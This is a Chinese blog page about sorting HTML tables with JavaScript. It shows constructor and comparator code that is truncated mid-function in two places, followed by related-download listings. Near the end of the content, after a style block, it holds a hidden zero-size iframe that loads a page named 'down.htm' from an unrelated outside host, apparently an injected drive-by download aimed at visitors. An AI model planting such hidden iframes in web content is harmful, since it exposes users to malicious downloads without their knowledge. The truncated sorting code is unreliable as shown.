`
java2000.net
  • 浏览: 660202 次
  • 性别: Icon_minigender_1
  • 来自: 天津
社区版块
存档分类
最新评论

表格排序技巧

阅读更多
表格排序的方法
<script> function Table (tBody, tHead) { this.tBody = tBody; this.tHead = tHead.constructor == Array ? tHead : new Array(); this.view = null; } function Table_sort (compFun, col) { compFun = compFun || compRows; compFun.col = col ? col : 0; this.tBody.sort(compFun); if (this.view) this.view.update(); } Table.prototype.sort = Table_sort; function compRows (row1, row2) { var sortCol = compRows.col; var value1 = row1[sortCol]; var value2 = row2[sortCol]; return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function compRowsNum (row1, row2) { var sortCol = compRowsNum.col; var value1 = parseFloat(row1[sortCol]); var value2 = parseFloat(row2[sortCol]); return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function TableView (model, left, top) { this.id = TableView.cnt; TableView.views[TableView.cnt++] = this; this.model = model; this.model.view = this; this.left = left || 0; this.top = top || 0; this.writeLayer(); } function TableView_writeLayer () { var html = ''; html += '<style>'; html += '#tableView' + this.id + ' {'; html += ' position: relative;'; html += ' left: ' + this.left + 'px;'; html += ' top: ' + this.top + 'px'; html += '}'; html += '<\/STYLE>'; html += '
<script> var tHead = [ [ '姓名<\/A>', '课程<\/A>', '分数<\/A>']]; var tBody = [['Meng', '语文', 100], ['孟子', '外语', 99], ['小孟', '数学', 300] ]; var table1 = new Table(tBody, tHead); var table1View; </script> <script> table1View = new TableView (table1,315,20); </script>

 代码如下:

<xmp> <html> <head> <script> function Table (tBody, tHead) { this.tBody = tBody; this.tHead = tHead.constructor == Array ? tHead : new Array(); this.view = null; } function Table_sort (compFun, col) { compFun = compFun || compRows; compFun.col = col ? col : 0; this.tBody.sort(compFun); if (this.view) this.view.update(); } Table.prototype.sort = Table_sort; function compRows (row1, row2) { var sortCol = compRows.col; var value1 = row1[sortCol]; var value2 = row2[sortCol]; return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function compRowsNum (row1, row2) { var sortCol = compRowsNum.col; var value1 = parseFloat(row1[sortCol]); var value2 = parseFloat(row2[sortCol]); return value1 < value2 ? -1 : value1 == value2 ? 0 : 1; } function TableView (model, left, top) { this.id = TableView.cnt; TableView.views[TableView.cnt++] = this; this.model = model; this.model.view = this; this.left = left || 0; this.top = top || 0; this.writeLayer(); } function TableView_writeLayer () { var html = ''; html += '<style>'; html += '#tableView' + this.id + ' {'; html += ' position: absolute;'; html += ' left: ' + this.left + 'px;'; html += ' top: ' + this.top + 'px'; html += '}'; html += '<\/STYLE>'; html += '
<style> xmp,blockquote {background-color:#00ccff;padding-left:20px;padding-top:10px;padding-bottom:10px;padding-right:10px} </style> <iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>
分享到:
评论

相关推荐

    一个表格排序程序

    源码是软件开发的基础,通过查看和理解源码,开发者可以学习到如何用JavaScript实现表格排序功能,包括数据处理、事件监听、DOM操作等技术。 “工具”标签则表明这是一个开发者使用的辅助工具,可以帮助他们在自己...

    表格排序和表头浮动

    "表格排序和表头浮动"就是一个这样的功能组合,它使得用户能更方便地浏览和理解大量数据。 表格排序是指用户可以通过点击表格列头来按该列的数据进行升序或降序排列。这个功能对于处理大量结构化数据非常有用,比如...

    jquery表格排序

    总结来说,"jquery表格排序"是一个利用jQuery的便利性和灵活性实现的实用功能,它涉及到HTML和JavaScript的基本知识,以及DOM操作、事件处理和数据排序等进阶技巧。通过学习和应用这些知识点,开发者可以构建出功能...

    js排序表格,实现按列排序

    总结来说,"js排序表格,实现按列排序"是一个结合了JavaScript编程、HTML结构和CSS样式的实用技巧,旨在提高用户在浏览和操作表格数据时的体验。通过对表格数据进行高效排序,并配合美观的界面设计,可以让网页表格...

    Table表格排序显示jQuery代码

    "Table表格排序显示jQuery代码"是一个实用的工具,它允许用户通过简单的点击表头来实现表格数据的多维度排序,包括分类排序、数字大小排序以及英文排序等。这个功能极大地提升了用户体验,使得大量数据的浏览和分析...

    Javascript表格排序大全

    JavaScript表格排序大全是一个涵盖多种JS表格排序实现方法的资源集合,旨在帮助开发者快速实现动态、交互式的表格数据排序功能。在网页开发中,表格是一种常用的数据展示方式,而JavaScript能够为表格提供强大的交互...

    jquery table 表格 排序

    总的来说,利用jQuery实现表格排序是一项实用的技巧,它可以帮助我们快速地为网页上的数据表添加交互性。通过理解上述知识点,你不仅可以掌握这一功能的实现,还能进一步提升你的前端开发技能。

    程矢Axure夜话图文教程中继器表格排序.pdf

    ### Axure中继器表格排序知识点详解 #### 一、中继器表格排序概述 在Axure RP的设计过程中,中继器(Repeater)是一种非常强大的动态面板组件,它可以用来展示大量的数据,并支持多种交互方式,例如排序、过滤等。...

    jquery的表格排序

    在网页开发中,jQuery是一个非常流行的JavaScript库,它极大地简化了DOM操作、事件处理和Ajax交互。当涉及到表格数据的排序时,jQuery提供...通过理解这些基本概念和技巧,开发者可以快速地在项目中集成表格排序功能。

    jQuery动态表格数据分页检索排序代码

    在网页开发中,数据展示是不可或缺的一部分,尤其是当数据量较大时,动态表格数据分页检索排序就显得尤为重要。这个项目“jQuery动态表格数据分页检索排序代码”提供了一个纯前端实现的解决方案,无需服务器端的支持...

    整个表格排序(按时间and汉字)可以按表格中的任意一列排序且保持数据的准确性

    标题中的“整个表格排序(按时间and汉字)”指的是在电子表格软件中,用户不仅可以按照时间这一数值型数据进行排序,还可以按照汉字这类文本数据进行排序。这种功能在数据分析、信息整理和报告制作中非常常见,确保了...

    EXCEL电子表格实用技巧大全

    《EXCEL电子表格实用技巧大全》是一份专为提高工作效率而设计的学习资源,它涵盖了大量关于Excel电子表格的格式设置和函数应用知识。通过深入学习这份资料,用户能够掌握一系列高效的操作方法,从而在处理数据时更加...

    WORD表格如何排序

    "WORD表格如何排序"这个主题主要涉及到Word中的表格排序功能,以下将详细讲解如何正确地进行排序操作。 首先,确保在开始排序之前已经正确选择了需要排序的表格。一个常见的误区是只选择了表格的一部分或者没有选择...

    返回Excel排序前的表格.rar

    在对表格进行排序之前,可以先选择整个表格,执行“复制”操作,然后在同一位置“粘贴为值”。这会创建一个新的表格副本,其顺序与原始表格相同,但不再与其他单元格链接。这样,即使排序了原始表格,仍有一个保持...

    javascript方法让表格按表头中某列排序,同excel功能

    在JavaScript编程中,实现表格数据...总之,JavaScript实现表格排序涉及事件处理、数据操作和DOM操作,熟练掌握这些技巧对于构建交互性强的Web应用至关重要。通过不断实践和优化,可以创造出高效、易用的表格排序功能。

    QT实现可拖拽排序的表格

    通过阅读和理解这段代码,你应该能更好地掌握在QT中创建可拖拽排序表格的具体步骤和技巧。 总的来说,实现QT中可拖拽排序的表格涉及多方面的技术,包括事件处理、数据模型操作、自定义视图以及样式设置。理解并掌握...

    javascript 表格排序多种数据类型排序(中文混合数字排序).zip

    在JavaScript编程中,表格排序是一项常见的任务,尤其是在处理用户界面数据展示时。当我们面临一个包含多种数据类型的表格,如中文文本和数字混合的情况,排序就会变得复杂。本压缩包文件"javascript 表格排序多种...

    表格排序js

    在JavaScript编程中,表格排序是一项常见的需求,尤其是在网页交互式数据展示中。"表格排序js"这个主题聚焦于如何利用JavaScript实现对表格数据的...在实际开发中,理解这些概念和技巧是实现高效、灵活表格排序的关键。

    js表格排序

    在JavaScript的世界里,表格排序是一项常见的任务,尤其是在网页开发中,我们经常需要处理用户交互,如点击表头来按特定列排序数据。...理解这些原理和技巧,可以帮助你在项目中轻松应对表格排序的需求。

Global site tag (gtag.js) - Google Analytics